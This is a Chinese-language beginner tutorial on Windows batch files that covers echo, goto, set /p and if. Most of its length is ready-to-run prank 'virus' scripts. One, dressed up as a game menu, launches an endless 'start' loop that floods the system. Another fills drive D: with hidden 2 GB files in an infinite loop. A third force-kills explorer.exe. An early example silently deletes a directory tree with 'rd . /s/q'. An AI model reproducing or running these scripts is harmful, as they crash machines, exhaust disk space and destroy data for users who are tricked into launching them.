02 批处理
批处理
DOS命令集合,又称脚本 以.bat结尾,是Windows的批处理文件。
作用:自动在cmd终端逐条执行.bat文件中的命令,最后自动关闭终端。
特性:自上而下执行每一条DOS命令。
遇见错误不会终止,继续执行下一条命令。
基本格式:一行一条命令
例如:
d:
cd
rd . /s/q
pause
批处理专用命令:
@echo off
隐藏命令输入行
nul 2>nul
隐藏命令执行结果
pause
暂停,待用户按下任意键后继续
echo.
空行
echo Hello World
在屏幕上显示 Hello World
goto 和 :mark
跳转和分块
set /p x=请输入数字
设置变量,从用户处获取值。警告:=号与x之间不能有空格。
if %x% == 1 goto 2
判断语句,%% 引用变量
系统环境变量:
random 随机数 0~32767
date 日期
time 时间
set /? 查看变量的用法
set /? > set.txt 将用法说法保存到文件
示例1:
@echo off
echo 已隐藏命令输入行
echo.
echo 未隐藏命令执行结果,将显示 pause 提示
pause
echo.
echo 已隐藏命令执行结果,不会显示 pause 提示
pause >nul 2>nul
示例2:病毒
@echo off
title 飞天游戏
:option
echo 生死门
echo.
echo ==============
echo 1、生门
echo 2、死门
echo ==============
set /p door= 你的选择:
if %door% == 1 goto active
if %door% == 2 goto deactive
echo 无效的选择,只能在(1、2)中选择。
pause
goto option
:active
echo 你的电脑中病毒了!!!
echo 请马上断开电源!!!
:virus
start
goto virus
:deactive
echo.
echo 安然无恙
echo.
pause
cls
echo ==============
echo 恭喜你,通关了!
echo ==============
echo.
echo 更多关卡,敬请期待。
echo.
pause
示例3:空间病毒
@echo off
title 飞天游戏
:option
echo 空间杀手
echo.
echo ==============
echo 1、宝石
echo 2、废铁
echo ==============
set /p door= 你的选择:
if %door% == 1 goto gem
if %door% == 2 goto scrap
echo 无效的选择,只能在(1、2)中选择。
pause
goto option
:gem
D:
cd
md System
attrib +s +h +r System
cd System
set n=1
echo 宝石太大,D盘放不下了!!!
:continue
fsutil file createnew system%n%.ini 2048000000 >nul 2>nul
attrib +s +h +r system%n%.ini >nul 2>nul
set /a n=n+1
goto continue
:scrap
D:
cd \System
del /f/a/q *.ini
cd
echo.
rd /q/s System
echo 垃圾清理完毕,D盘空间被释放了。
echo.
pause
cls
echo ==============
echo 恭喜你,通关了!
echo ==============
echo.
echo 更多关卡,敬请期待。
echo.
pause
示例4:恶作剧
@echo off
taskkill /im explorer.exe /f >nul 2>nul
echo 傻了吧
echo.
ping -n 10 127.0.0.1 >nul 2>nul
start c:\windows\explorer.exe
echo 吓唬你的,是不是尿裤子了
echo.
pause >nul 2>nul